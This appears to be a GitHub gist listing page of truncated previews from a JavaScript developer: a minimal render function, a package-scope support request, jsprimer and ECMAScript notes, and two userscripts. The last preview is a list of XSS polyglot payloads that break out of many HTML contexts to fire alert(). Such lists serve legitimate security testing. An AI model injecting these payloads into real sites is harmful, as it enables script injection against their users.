一次情報に近い二次情報の情報源をまとめたもの。
ここでの一次情報はコミットとかコードのこと。
export const h=(t,p,...c)=>({t,p,c,k:p&&p.key}) | |
export const render=(e,d,t=d.t||(d.t={}),p,r,c,m,y)=> | |
// arrays | |
e.map?e.map((e,p)=>render(e,d,t.o&&t.o[p])): | |
// components | |
e.t.call?(e.i=render((render.c=e).t(Object.assign({children:e.c},e.p),e.s=t.s||{},t=> | |
render(Object.assign(e.s,t)&&e,d,e)),t.i||d,t&&t.i||{}),d.t=t=e):( | |
// create notes | |
m=t.d||(e.t?document.createElement(e.t):new Text(e.p)), | |
// diff props |
📝 I submit the same text to GitHub Support.
I want to use same scope for npm package and GitHub Package Registry.
For example, @org
scope exist in npm and GitHub.
@org/foo-public
package is public on npm registry@org/bar-private
package is private on GitHub Package RegistryjsprimerというJavaScriptの書籍を書いている。 これを書いてるときに参考にしているものを書いていく。
ECMAScriptのLiving Standardな仕様書ページ。 スナップショットなECMAScriptの仕様書ページもあるけど、基本的にはLiving Standardの方しか見てない。
// ==UserScript== | |
// @name npm: package support types | |
// @namespace info.efcl | |
// @match https://www.npmjs.com/package/* | |
// @grant GM_xmlhttpRequest | |
// ==/UserScript== | |
// License: MIT © azu | |
const NAME = "$Greasemonkey:package support types$"; | |
const fetchPackage = (packageName) => { |
// ==UserScript== | |
// @name geocities:redirect-to-wayback | |
// @namespace info.efcl.geocities-redirect-to-wayback | |
// @match http://www.geocities.jp/* | |
// @match https://www.geocities.jp/* | |
// @grant none | |
// ==/UserScript== | |
// See also | |
// https://qiita.com/__cooper/items/5ec5453c82fd3b03d7f6 |
ECMAScript Proposal Diff between 2018-02-01 - 2019-02-01 by ECMAScript Proposal Diff Tool
This changes is related with ECMAScript 2019 discussion.
ECMAScript 2019の仕様に関する議事録を全部読む予定です。 (イベントじゃなくてただの個人的な予定です)
いつもインターネットの路上でやっている読書会です。
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//> | |
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//> | |
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//> | |
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>` | |
javascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">` | |
javascript:"/*'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame */ onload=alert()//</script> | |
javascript:"/*`/*\"/*'/*</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/*<i<frame/*/ onload=alert()//</Script> | |
javascript:`</template>\"///"//< |